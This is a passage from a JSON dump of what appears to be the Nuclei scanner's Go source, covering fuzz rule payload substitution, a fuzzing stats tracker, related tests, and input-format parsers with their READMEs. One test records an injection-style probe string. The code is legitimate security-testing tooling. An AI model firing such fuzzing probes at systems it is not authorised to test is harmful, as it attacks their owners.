prefixRuleType || rule.ruleType == postfixRuleType {\n\t\tbuilder.Grow(len(value) + len(replacement))\n\t}\n\tvar returnValue string\n\n\tswitch rule.ruleType {\n\tcase prefixRuleType:\n\t\tbuilder.WriteString(replacement)\n\t\tbuilder.WriteString(value)\n\t\treturnValue = builder.String()\n\tcase postfixRuleType:\n\t\tbuilder.WriteString(value)\n\t\tbuilder.WriteString(replacement)\n\t\treturnValue = builder.String()\n\tcase infixRuleType:\n\t\tif len(value) <= 1 {\n\t\t\tbuilder.WriteString(value)\n\t\t\tbuilder.WriteString(replacement)\n\t\t\treturnValue = builder.String()\n\t\t} else {\n\t\t\tmiddleIndex := len(value) / 2\n\t\t\tbuilder.WriteString(value[:middleIndex])\n\t\t\tbuilder.WriteString(replacement)\n\t\t\tbuilder.WriteString(value[middleIndex:])\n\t\t\treturnValue = builder.String()\n\t\t}\n\tcase replaceRuleType:\n\t\treturnValue = replacement\n\tcase replaceRegexRuleType:\n\t\treturnValue = rule.replaceRegex.ReplaceAllString(value, replacement)\n\t}\n\treturn returnValue\n}\n"
  },
  {
    "path": "pkg/fuzz/parts_frequency_test.go",
    "content": "package fuzz\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\tretryablehttp \"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestExecWithInputDoesNotUseNumericParameterIndexForFrequency verifies frequency\n// checks do not key on numeric path segment indexes.\nfunc TestExecWithInputDoesNotUseNumericParameterIndexForFrequency(t *testing.T) {\n\ttracker := frequency.New(64, 1)\n\tdefer tracker.Close()\n\n\tconst target = \"https://example.com/users/55\"\n\tconst templateID = \"tmpl-frequency-check\"\n\n\treq, err := retryablehttp.NewRequest(http.MethodGet, target, nil)\n\trequire.NoError(t, err)\n\n\ttracker.MarkParameter(\"2\", req.String(), templateID)\n\n\tcalled := false\n\trule := &Rule{\n\t\toptions: &protocols.ExecutorOptions{\n\t\t\tTemplateID:          templateID,\n\t\t\tFuzzParamsFrequency: tracker,\n\t\t},\n\t}\n\tinput := &ExecuteRuleInput{\n\t\tCallback: func(GeneratedRequest) bool {\n\t\t\tcalled = true\n\t\t\treturn true\n\t\t},\n\t}\n\n\terr = rule.execWithInput(input, req, nil, nil, \"2\", \"55\", \"\", \"\", \"\", \"\")\n\trequire.NoError(t, err)\n\trequire.True(t, called, \"numeric path index should not be used as frequency key\")\n}\n\n// TestExecWithInputSkipsWhenActualParameterIsFrequent verifies requests are\n// skipped when the normalized parameter value is marked frequent.\nfunc TestExecWithInputSkipsWhenActualParameterIsFrequent(t *testing.T) {\n\ttracker := frequency.New(64, 1)\n\tdefer tracker.Close()\n\n\tconst target = \"https://example.com/users/55\"\n\tconst templateID = \"tmpl-frequency-check\"\n\n\treq, err := retryablehttp.NewRequest(http.MethodGet, target, nil)\n\trequire.NoError(t, err)\n\n\ttracker.MarkParameter(\"55\", req.String(), templateID)\n\n\tcalled := false\n\trule := &Rule{\n\t\toptions: &protocols.ExecutorOptions{\n\t\t\tTemplateID:          templateID,\n\t\t\tFuzzParamsFrequency: tracker,\n\t\t},\n\t}\n\tinput := &ExecuteRuleInput{\n\t\tCallback: func(GeneratedRequest) bool {\n\t\t\tcalled = true\n\t\t\treturn true\n\t\t},\n\t}\n\n\terr = rule.execWithInput(input, req, nil, nil, \"2\", \"55\", \"\", \"\", \"\", \"\")\n\trequire.NoError(t, err)\n\trequire.False(t, called, \"frequent actual parameter should be skipped\")\n}\n"
  },
  {
    "path": "pkg/fuzz/parts_test.go",
    "content": "// TODO: Write tests\npackage fuzz\n"
  },
  {
    "path": "pkg/fuzz/stats/db.go",
    "content": "package stats\n\nimport (\n\t_ \"embed\"\n\n\t_ \"github.com/mattn/go-sqlite3\"\n)\n\ntype StatsDatabase interface {\n\tClose()\n\n\tInsertComponent(event ComponentEvent) error\n\tInsertMatchedRecord(event FuzzingEvent) error\n\tInsertError(event ErrorEvent) error\n}\n"
  },
  {
    "path": "pkg/fuzz/stats/db_test.go",
    "content": "package stats\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_NewStatsDatabase(t *testing.T) {\n\tdb, err := NewSimpleStats()\n\trequire.NoError(t, err)\n\n\terr = db.InsertMatchedRecord(FuzzingEvent{\n\t\tURL:           \"http://localhost:8080/login\",\n\t\tTemplateID:    \"apache-struts2-001\",\n\t\tComponentType: \"path\",\n\t\tComponentName: \"/login\",\n\t\tPayloadSent:   \"/login'\\\"><\",\n\t\tStatusCode:    401,\n\t})\n\trequire.NoError(t, err)\n\n\t//os.Remove(\"test.stats.db\")\n}\n"
  },
  {
    "path": "pkg/fuzz/stats/simple.go",
    "content": "package stats\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n)\n\ntype simpleStats struct {\n\ttotalComponentsTested atomic.Int64\n\ttotalEndpointsTested  atomic.Int64\n\ttotalFuzzedRequests   atomic.Int64\n\ttotalMatchedResults   atomic.Int64\n\ttotalTemplatesTested  atomic.Int64\n\ttotalErroredRequests  atomic.Int64\n\n\tstatusCodes    sync.Map\n\tseverityCounts sync.Map\n\n\tcomponentsUniqueMap sync.Map\n\tendpointsUniqueMap  sync.Map\n\ttemplatesUniqueMap  sync.Map\n\terrorGroupedStats   sync.Map\n}\n\nfunc NewSimpleStats() (*simpleStats, error) {\n\treturn &simpleStats{\n\t\ttotalComponentsTested: atomic.Int64{},\n\t\ttotalEndpointsTested:  atomic.Int64{},\n\t\ttotalMatchedResults:   atomic.Int64{},\n\t\ttotalFuzzedRequests:   atomic.Int64{},\n\t\ttotalTemplatesTested:  atomic.Int64{},\n\t\ttotalErroredRequests:  atomic.Int64{},\n\t\tstatusCodes:           sync.Map{},\n\t\tseverityCounts:        sync.Map{},\n\t\tcomponentsUniqueMap:   sync.Map{},\n\t\tendpointsUniqueMap:    sync.Map{},\n\t\ttemplatesUniqueMap:    sync.Map{},\n\t\terrorGroupedStats:     sync.Map{},\n\t}, nil\n}\n\nfunc (s *simpleStats) Close() {}\n\nfunc (s *simpleStats) InsertComponent(event ComponentEvent) error {\n\tcomponentKey := fmt.Sprintf(\"%s_%s\", event.ComponentName, event.ComponentType)\n\tif _, ok := s.componentsUniqueMap.Load(componentKey); !ok {\n\t\ts.componentsUniqueMap.Store(componentKey, true)\n\t\ts.totalComponentsTested.Add(1)\n\t}\n\n\tparsedURL, err := url.Parse(event.URL)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tendpointsKey := fmt.Sprintf(\"%s_%s\", event.siteName, parsedURL.Path)\n\tif _, ok := s.endpointsUniqueMap.Load(endpointsKey); !ok {\n\t\ts.endpointsUniqueMap.Store(endpointsKey, true)\n\t\ts.totalEndpointsTested.Add(1)\n\t}\n\n\treturn nil\n}\n\nfunc (s *simpleStats) InsertMatchedRecord(event FuzzingEvent) error {\n\ts.totalFuzzedRequests.Add(1)\n\n\ts.incrementStatusCode(event.StatusCode)\n\tif event.Matched {\n\t\ts.totalMatchedResults.Add(1)\n\n\t\ts.incrementSeverityCount(event.Severity)\n\t}\n\n\tif _, ok := s.templatesUniqueMap.Load(event.TemplateID); !ok {\n\t\ts.templatesUniqueMap.Store(event.TemplateID, true)\n\t\ts.totalTemplatesTested.Add(1)\n\t}\n\treturn nil\n}\n\nfunc (s *simpleStats) InsertError(event ErrorEvent) error {\n\ts.totalErroredRequests.Add(1)\n\n\tvalue, _ := s.errorGroupedStats.LoadOrStore(event.Error, &atomic.Int64{})\n\tif counter, ok := value.(*atomic.Int64); ok {\n\t\tcounter.Add(1)\n\t}\n\treturn nil\n}\n\ntype SimpleStatsResponse struct {\n\tTotalMatchedResults   int64\n\tTotalComponentsTested int64\n\tTotalEndpointsTested  int64\n\tTotalFuzzedRequests   int64\n\tTotalTemplatesTested  int64\n\tTotalErroredRequests  int64\n\tStatusCodes           map[string]int64\n\tSeverityCounts        map[string]int64\n\tErrorGroupedStats     map[string]int64\n}\n\nfunc (s *simpleStats) GetStatistics() SimpleStatsResponse {\n\tstatusStats := make(map[string]int64)\n\ts.statusCodes.Range(func(key, value interface{}) bool {\n\t\tif count, ok := value.(*atomic.Int64); ok {\n\t\t\tstatusStats[formatStatusCode(key.(int))] = count.Load()\n\t\t}\n\t\treturn true\n\t})\n\n\tseverityStats := make(map[string]int64)\n\ts.severityCounts.Range(func(key, value interface{}) bool {\n\t\tif count, ok := value.(*atomic.Int64); ok {\n\t\t\tseverityStats[key.(string)] = count.Load()\n\t\t}\n\t\treturn true\n\t})\n\n\terrorStats := make(map[string]int64)\n\ts.errorGroupedStats.Range(func(key, value interface{}) bool {\n\t\tif count, ok := value.(*atomic.Int64); ok {\n\t\t\terrorStats[key.(string)] = count.Load()\n\t\t}\n\t\treturn true\n\t})\n\n\treturn SimpleStatsResponse{\n\t\tTotalMatchedResults:   s.totalMatchedResults.Load(),\n\t\tStatusCodes:           statusStats,\n\t\tSeverityCounts:        severityStats,\n\t\tTotalComponentsTested: s.totalComponentsTested.Load(),\n\t\tTotalEndpointsTested:  s.totalEndpointsTested.Load(),\n\t\tTotalFuzzedRequests:   s.totalFuzzedRequests.Load(),\n\t\tTotalTemplatesTested:  s.totalTemplatesTested.Load(),\n\t\tTotalErroredRequests:  s.totalErroredRequests.Load(),\n\t\tErrorGroupedStats:     errorStats,\n\t}\n}\n\nfunc (s *simpleStats) incrementStatusCode(statusCode int) {\n\tvalue, _ := s.statusCodes.LoadOrStore(statusCode, &atomic.Int64{})\n\tif counter, ok := value.(*atomic.Int64); ok {\n\t\tcounter.Add(1)\n\t}\n}\n\nfunc (s *simpleStats) incrementSeverityCount(severity string) {\n\tvalue, _ := s.severityCounts.LoadOrStore(severity, &atomic.Int64{})\n\tif counter, ok := value.(*atomic.Int64); ok {\n\t\tcounter.Add(1)\n\t}\n}\n\nfunc formatStatusCode(code int) string {\n\tescapedText := strings.ToTitle(strings.ReplaceAll(http.StatusText(code), \" \", \"_\"))\n\tformatted := fmt.Sprintf(\"%d_%s\", code, escapedText)\n\treturn formatted\n}\n"
  },
  {
    "path": "pkg/fuzz/stats/stats.go",
    "content": "// Package stats implements a statistics recording module for\n// nuclei fuzzing.\npackage stats\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/url\"\n\n\t\"github.com/pkg/errors\"\n)\n\n// Tracker is a stats tracker module for fuzzing server\ntype Tracker struct {\n\tdatabase *simpleStats\n}\n\n// NewTracker creates a new tracker instance\nfunc NewTracker() (*Tracker, error) {\n\tdb, err := NewSimpleStats()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create new tracker\")\n\t}\n\n\ttracker := &Tracker{\n\t\tdatabase: db,\n\t}\n\treturn tracker, nil\n}\n\nfunc (t *Tracker) GetStats() SimpleStatsResponse {\n\treturn t.database.GetStatistics()\n}\n\n// Close closes the tracker\nfunc (t *Tracker) Close() {\n\tt.database.Close()\n}\n\n// FuzzingEvent is a fuzzing event\ntype FuzzingEvent struct {\n\tURL           string\n\tComponentType string\n\tComponentName string\n\tTemplateID    string\n\tPayloadSent   string\n\tStatusCode    int\n\tMatched       bool\n\tRawRequest    string\n\tRawResponse   string\n\tSeverity      string\n\n\tsiteName string\n}\n\nfunc (t *Tracker) RecordResultEvent(event FuzzingEvent) {\n\tevent.siteName = getCorrectSiteName(event.URL)\n\tif err := t.database.InsertMatchedRecord(event); err != nil {\n\t\tlog.Printf(\"could not insert matched record: %s\", err)\n\t}\n}\n\ntype ComponentEvent struct {\n\tURL           string\n\tComponentType string\n\tComponentName string\n\n\tsiteName string\n}\n\nfunc (t *Tracker) RecordComponentEvent(event ComponentEvent) {\n\tevent.siteName = getCorrectSiteName(event.URL)\n\tif err := t.database.InsertComponent(event); err != nil {\n\t\tlog.Printf(\"could not insert component record: %s\", err)\n\t}\n}\n\ntype ErrorEvent struct {\n\tTemplateID string\n\tURL        string\n\tError      string\n}\n\nfunc (t *Tracker) RecordErrorEvent(event ErrorEvent) {\n\tif err := t.database.InsertError(event); err != nil {\n\t\tlog.Printf(\"could not insert error record: %s\", err)\n\t}\n}\n\nfunc getCorrectSiteName(originalURL string) string {\n\tparsed, err := url.Parse(originalURL)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\t// Site is the host:port combo\n\tsiteName := parsed.Host\n\tif parsed.Port() == \"\" {\n\t\tswitch parsed.Scheme {\n\t\tcase \"https\":\n\t\t\tsiteName = fmt.Sprintf(\"%s:443\", siteName)\n\t\tcase \"http\":\n\t\t\tsiteName = fmt.Sprintf(\"%s:80\", siteName)\n\t\t}\n\t}\n\treturn siteName\n}\n"
  },
  {
    "path": "pkg/fuzz/type.go",
    "content": "package fuzz\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nvar (\n\t_ json.JSONCodec   = &SliceOrMapSlice{}\n\t_ yaml.Marshaler   = &SliceOrMapSlice{}\n\t_ yaml.Unmarshaler = &SliceOrMapSlice{}\n)\n\ntype ValueOrKeyValue struct {\n\tKey   string\n\tValue string\n\n\tOriginalPayload string\n}\n\nfunc (v *ValueOrKeyValue) IsKV() bool {\n\treturn v.Key != \"\"\n}\n\ntype SliceOrMapSlice struct {\n\tValue []string\n\tKV    *mapsutil.OrderedMap[string, string]\n}\n\nfunc (v SliceOrMapSlice) JSONSchemaExtend(schema *jsonschema.Schema) *jsonschema.Schema {\n\tschema = &jsonschema.Schema{\n\t\tTitle:       schema.Title,\n\t\tDescription: schema.Description,\n\t\tType:        \"array\",\n\t\tItems: &jsonschema.Schema{\n\t\t\tOneOf: []*jsonschema.Schema{\n\t\t\t\t{\n\t\t\t\t\tType: \"string\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tType: \"object\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\treturn schema\n}\n\nfunc (v SliceOrMapSlice) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tTitle:       \"Payloads of Fuzz Rule\",\n\t\tDescription: \"Payloads to perform fuzzing substitutions with.\",\n\t\tType:        \"array\",\n\t\tItems: &jsonschema.Schema{\n\t\t\tOneOf: []*jsonschema.Schema{\n\t\t\t\t{\n\t\t\t\t\tType: \"string\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tType: \"object\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\treturn gotType\n}\n\n// UnmarshalJSON implements json.Unmarshaler interface.\nfunc (v *SliceOrMapSlice) UnmarshalJSON(data []byte) error {\n\t// try to unmashal as a string and fallback to map\n\tif err := json.Unmarshal(data, &v.Value); err == nil {\n\t\treturn nil\n\t}\n\terr := json.Unmarshal(data, &v.KV)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"object can be a key:value or a string\")\n\t}\n\treturn nil\n}\n\n// MarshalJSON implements json.Marshaler interface.\nfunc (v SliceOrMapSlice) MarshalJSON() ([]byte, error) {\n\tif v.KV != nil {\n\t\treturn json.Marshal(v.KV)\n\t}\n\treturn json.Marshal(v.Value)\n}\n\n// UnmarshalYAML implements yaml.Unmarshaler interface.\nfunc (v *SliceOrMapSlice) UnmarshalYAML(callback func(interface{}) error) error {\n\t// try to unmarshal it as a string and fallback to map\n\tif err := callback(&v.Value); err == nil {\n\t\treturn nil\n\t}\n\n\t// try with a mapslice\n\tvar node yaml.MapSlice\n\tif err := callback(&node); err == nil {\n\t\ttmpx := mapsutil.NewOrderedMap[string, string]()\n\t\t// preserve order\n\t\tfor _, v := range node {\n\t\t\ttmpx.Set(v.Key.(string), v.Value.(string))\n\t\t}\n\t\tv.KV = &tmpx\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"object can be a key:value or a string\")\n}\n\n// MarshalYAML implements yaml.Marshaler interface.\nfunc (v SliceOrMapSlice) MarshalYAML() (any, error) {\n\tif v.KV != nil {\n\t\treturn v.KV, nil\n\t}\n\treturn v.Value, nil\n}\n"
  },
  {
    "path": "pkg/input/README.md",
    "content": "## input\n\ninput package contains and provides loading, parsing , validating and normalizing of input data\n\n\n## [transform](./transform.go)\n\nTransform package transforms or normalizes the input data before it is sent to protocol executer this step mainly involves changes like adding default ports (if missing) , validating if input is file or directory or url and adjusting the input accordingly etc.\n\n\n## Provider\n\nProvider package contains the interface that every input format should implement for providing that input format to nuclei.\n\nCurrently Nuclei Supports three input providers:\n\n1. SimpleInputProvider = A No-Op provider that takes a list of urls and implements the provider interface.\n\n2. HttpInputProvider = A provider that supports loading and parsing input formats that contain complete Http Data like Entire Request, Response etc. Supported formats include Burp,openapi,swagger,postman,proxify etc.\n\n3. ListInputProvider = Legacy/Default Provider that handles all list type inputs like urls,domains,ips,cidrs,files etc.\n\n\n```go\nfunc NewInputProvider(opts InputOptions) (InputProvider, error)\n```\n\nThis function returns a InputProvider based by appropriately selecting input provider based on the input format (i.e. either list or http) and returns the provider that can handle that input format.\n\n"
  },
  {
    "path": "pkg/input/formats/README.md",
    "content": "# formats\n\nFormats implements support for passing a number of request source as input providers to nuclei to be tested for fuzzing related issues.\n\nCurrently the following formats are implemented - \n\n- Burp Suite XML Request/Response file\n- Proxify JSONL output file\n- OpenAPI Specification file\n- Postman Collection file\n- Swagger Specification file\n\nEach implementation implements either the entire or a subset of the features of the specifications. These can be increased further to add support as new things or requirements are identified.\n\nRefer to the specific code for each implementation to understand supported features of the specs.\n\n\n## OpenAPI Specification File\n\nIt is designed to generate HTTP requests based on an OpenAPI 3.0 Schema. Here is how these schema components are processed:\n\n### Servers\n\nThe module supports multiple server URLs defined in the `Servers` section of the OpenAPI document. It will send requests to all the server URLs defined in the schema.\n\n### Paths and Operations\n\nThe module supports all HTTP methods defined under each path in the `Paths` section. For each operation on a path, HTTP requests are generated and sent to the defined server URL. If the operation cannot generate a valid request, a warning will be logged.\n\n### Parameters\n\nThe module recognizes parameters defined in the `query`, `header`, `path`, and `cookie` categories. When generating requests, if the `requiredOnly` flag is true, only the required parameters are included. Otherwise, all parameters, regardless of their required status, are used.\n\nThe `generateExampleFromSchema` function is used to generate suitable example data for each parameter from their respective schema definitions.\n\n### RequestBody\n\nThe module also comprehends request bodies and supports various media types defined in the `Content` field. Currently, the following content-types are supported:\n\n- `application/json`: The module creates application-specific JSON from the defined example schema.\n\n- `application/xml`: The example schema is converted into xml format using `mxj` library.\n\n- `application/x-www-form-urlencoded`: The example schema is converted into URL-encoded form data.\n\n- `multipart/form-data`: The module supports multipart form-data and differentiates between fields and files using the `binary` format under the property schema.\n\n- `text/plain`: Converts the example schema into string format and send as plain text.\n\nFor unsupported media types, no appropriate content type is found for the body. After setting up the body of the request, the module dumps the request and sends it to the defined server URL.\n\n### Example Request Generation\n\nThis module converts each operation into one or more example HTTP requests. Each request is dumped into a string format, accompanied by its method, URL, headers, and body. These are send as a callback for further processing.\n\n_Please note: This document does not cover other features of OpenAPI specification like responses, security schemes, links, callbacks, etc. as these are not currently handled by the module._\n\n## Postman Collection file\n\nThis module parser Postman Collection JSON files.\n\n### 1. Request Parsing:\n  Able to parse requests detailed in the Postman package. The parser is capable of interpreting the HTTP method, URL, and Body of each request present in the collection.\n\n### 2. Header Parsing:\n  All HTTP headers set in the collection's request are parsed and set in the request.\n\n### 3. Auth Type Parsing:\n Able to parse and set the `Authentication` options provided in the postman collection in the request headers.\n  Supported types of authentication:\n\n   1. **API Key**: In header\n   2. **Basic**: Setting basic auth through username, password.\n   3. **Bearer Token**: Involves setting bearer auth using tokens.\n   4. **No Auth**: No authentication is set.\n\nNote: Not all parts of the Postman Collection specification are supported. This parser does not currently support Postman variables or collection level variables and items. It also does not support more authentication types than detailed above.\n\n### Limitations:\n* Does not support Postman variables\n* Does not support Collection level variables and items\n* Limited Authentication types supported\n\n## Swagger Specification file\n\nSwagger specification file is converted from OpenAPI 2.0 format to OpenAPI 3.0 format. After this, the OpenAPI parser from above is used.\n\n## Burp XML / Proxify JSONL\n\nThese modules are generic and parse raw requests from these respective tools.\n"
  },
  {
    "path": "pkg/input/formats/burp/burp.go",
    "content": "package burp\n\nimport (\n\t\"encoding/base64\"\n\t\"io\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/utils/conversion\"\n\tburpxml \"github.com/projectdiscovery/utils/parsers/burp/xml\"\n)\n\n// BurpFormat is a Burp XML File parser\ntype BurpFormat struct {\n\topts formats.InputFormatOptions\n}\n\n// New creates a new Burp XML File parser\nfunc New() *BurpFormat {\n\treturn &BurpFormat{}\n}\n\nvar _ formats.Format = &BurpFormat{}\n\n// Name returns the name of the format\nfunc (j *BurpFormat) Name() string {\n\treturn \"burp\"\n}\n\nfunc (j *BurpFormat) SetOptions(options formats.InputFormatOptions) {\n\tj.opts = options\n}\n\n// Parse parses the input and calls the provided callback\n// function for each RawRequest it discovers.\nfunc (j *BurpFormat) Parse(input io.Reader, resultsCb formats.ParseReqRespCallback, filePath string) error {\n\titems, err := burpxml.ParseXML(input, burpxml.XMLParseOptions{DecodeBase64: true})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not decode burp xml schema\")\n\t}\n\n\tfor _, item := range items.Items {\n\t\tbinx, err := base64.StdEncoding.DecodeString(item.Request.Raw)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not decode base64\")\n\t\t}\n\t\tif strings.TrimSpace(conversion.String(binx)) == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\trawRequest, err := types.ParseRawRequestWithURL(conversion.String(binx), item.URL)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not parse raw request\")\n\t\t}\n\t\tresultsCb(rawRequest)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/input/formats/burp/burp_test.go",
    "content": "package burp\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestBurpParse(t *testing.T) {\n\tformat := New()\n\n\tproxifyInputFile := \"../testdata/burp.xml\"\n\n\tvar gotMethodsToURLs []string\n\n\tfile, err := os.Open(proxifyInputFile)\n\trequire.Nilf(t, err, \"error opening proxify input file: %v\", err)\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\terr = format.Parse(file, func(request *types.RequestResponse) bool {\n\t\tgotMethodsToURLs = append(gotMethodsToURLs, request.URL.String())\n\t\treturn false\n\t}, proxifyInputFile)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(gotMethodsToURLs) != 2 {\n\t\tt.Fatalf(\"invalid number of methods: %d\", len(gotMethodsToURLs))\n\t}\n\tvar expectedURLs = []string{\n\t\t\"http://localhost:8087/scans\",\n\t\t\"http://google.com/\",\n\t}\n\trequire.ElementsMatch(t, expectedURLs, gotMethodsToURLs, \"could not get burp urls\")\n}\n"
  },
  {
    "path": "pkg/input/formats/formats.go",
    "content": "package formats\n\nimport (\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\t\"gopkg.in/yaml.v3\"\n)\n\n// ParseReqRespCallback is a callback function for discovered raw requests\ntype ParseReqRespCallback func(rr *types.RequestResponse) bool\n\n// InputFormatOptions contains options for the input\n// this can be variables that can be passed or\n// overrides or some other options\ntype InputFormatOptions struct {\n\t// Variables is list of variables that can be used\n\t// while generating requests in given format\n\tVariables map[string]interface{}\n\t// SkipFormatValidation is used to skip format validation\n\t// while debugging or testing if format is invalid then\n\t// requests are skipped instead of creating invalid requests\n\tSkipFormatValidation bool\n\t// RequiredOnly only uses required fields when generating requests\n\t// instead of all fields\n\tRequiredOnly bool\n\t// VarsTextTemplating uses Variables and inject it into the input\n\t// this is used for text templating of variables based on carvel ytt\n\t// Only available for Yaml formats\n\tVarsTextTemplating bool\n\t// VarsFilePaths is the path to the file containing variables\n\tVarsFilePaths []string\n}\n\n// Format is an interface implemented by all input formats\ntype Format interface {\n\t// Name returns the name of the format\n\tName() string\n\t// Parse parses the input and calls the provided callback\n\t// function for each RawRequest it discovers.\n\tParse(input io.Reader, resultsCb ParseReqRespCallback, filePath string) error\n\t// SetOptions sets the options for the input format\n\tSetOptions(options InputFormatOptions)\n}\n\n// SpecDownloader is an interface for downloading API specifications from URLs\ntype SpecDownloader interface {\n\t// Download downloads the spec from the given URL and saves it to tmpDir\n\t// Returns the path to the downloaded file\n\t// httpClient is a retryablehttp.Client instance (can be nil for fallback)\n\tDownload(url, tmpDir string, httpClient *retryablehttp.Client) (string, error)\n\t// SupportedExtensions returns the list of supported file extensions\n\tSupportedExtensions() []string\n}\n\nvar (\n\tDefaultVarDumpFileName = \"required_openapi_params.yaml\"\n\tErrNoVarsDumpFile      = errors.New(\"no required params file found\")\n)\n\n// == OpenAPIParamsCfgFile ==\n// this file is meant to be used in CLI mode\n// to be more interactive and user-friendly when\n// running nuclei with openapi format\n\n// OpenAPIParamsCfgFile is the structure of the required vars dump file\ntype OpenAPIParamsCfgFile struct {\n\tVar          []string `yaml:\"var\"`\n\tOptionalVars []string `yaml:\"-\"` // this will be written to the file as comments\n}\n\n// ReadOpenAPIVarDumpFile reads the required vars dump file\nfunc ReadOpenAPIVarDumpFile() (*OpenAPIParamsCfgFile, error) {\n\tvar vars OpenAPIParamsCfgFile\n\tif !fileutil.FileExists(DefaultVarDumpFileName) {\n\t\treturn nil, ErrNoVarsDumpFile\n\t}\n\tbin, err := os.ReadFile(DefaultVarDumpFileName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = yaml.Unmarshal(bin, &vars)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfiltered := []string{}\n\tfor _, v := range vars.Var {\n\t\tv = strings.TrimSpace(v)\n\t\tif !strings.HasSuffix(v, \"=\") {\n\t\t\tfiltered = append(filtered, v)\n\t\t}\n\t}\n\tvars.Var = filtered\n\treturn &vars, nil\n}\n\n// WriteOpenAPIVarDumpFile writes the required vars dump file\nfunc WriteOpenAPIVarDumpFile(vars *OpenAPIParamsCfgFile) error {\n\tf, err := os.OpenFile(DefaultVarDumpFileName, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = f.Close()\n\t}()\n\tbin, err := yaml.Marshal(vars)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, _ = f.Write(bin)\n\tif len(vars.OptionalVars) > 0 {\n\t\t_, _ = f.WriteString(\"\\n    # Optional parameters\\n\")\n\t\tfor _, v := range vars.OptionalVars {\n\t\t\t_, _ = f.WriteString(\"    # - \" + v + \"=\\n\")\n\t\t}\n\t}\n\treturn f.Sync()\n}\n"
  },
  {
    "path": "pkg/input/formats/json/json.go",
    "content": "package json\n\nimport (\n\t\"io\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// JSONFormat is a JSON format parser for nuclei\n// input HTTP requests\ntype JSONFormat struct {\n\topts formats.InputFormatOptions\n}\n\n// New creates a new JSON format parser\nfunc New() *JSONFormat {\n\treturn &JSONFormat{}\n}\n\nvar _ formats.Format = &JSONFormat{}\n\n// proxifyRequest is a request for proxify\ntype proxifyRequest struct {\n\tURL     string `json:\"url\"`\n\tRequest struct {\n\t\tHeader   map[string]string `json:\"header\"`\n\t\tBody     string            `json:\"body\"`\n\t\tRaw      string            `json:\"raw\"`\n\t\tEndpoint string            `json:\"endpoint\"`\n\t} `json:\"request\"`\n}\n\n// Name returns the name of the format\nfunc (j *JSONFormat) Name() string {\n\treturn \"jsonl\"\n}\n\nfunc (j *JSONFormat) SetOptions(options formats.InputFormatOptions) {\n\tj.opts = options\n}\n\n// Parse parses the input and calls the provided callback\n// function for each RawRequest it discovers.\nfunc (j *JSONFormat) Parse(input io.Reader, resultsCb formats.ParseReqRespCallback, filePath string) error {\n\tdecoder := json.NewDecoder(input)\n\tfor {\n\t\tvar request proxifyRequest\n\t\terr := decoder.Decode(&request)\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not decode json file\")\n\t\t}\n\n\t\tif request.URL == \"\" && request.Request.Endpoint != \"\" {\n\t\t\trequest.URL = request.Request.Endpoint\n\t\t}\n\t\trawRequest, err := types.ParseRawRequestWithURL(request.Request.Raw, request.URL)\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"jsonl: Could not parse raw request %s: %s\\n\", request.URL, err)\n\t\t\tcontinue\n\t\t}\n\t\tresultsCb(rawRequest)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/input/formats/json/json_test.go",
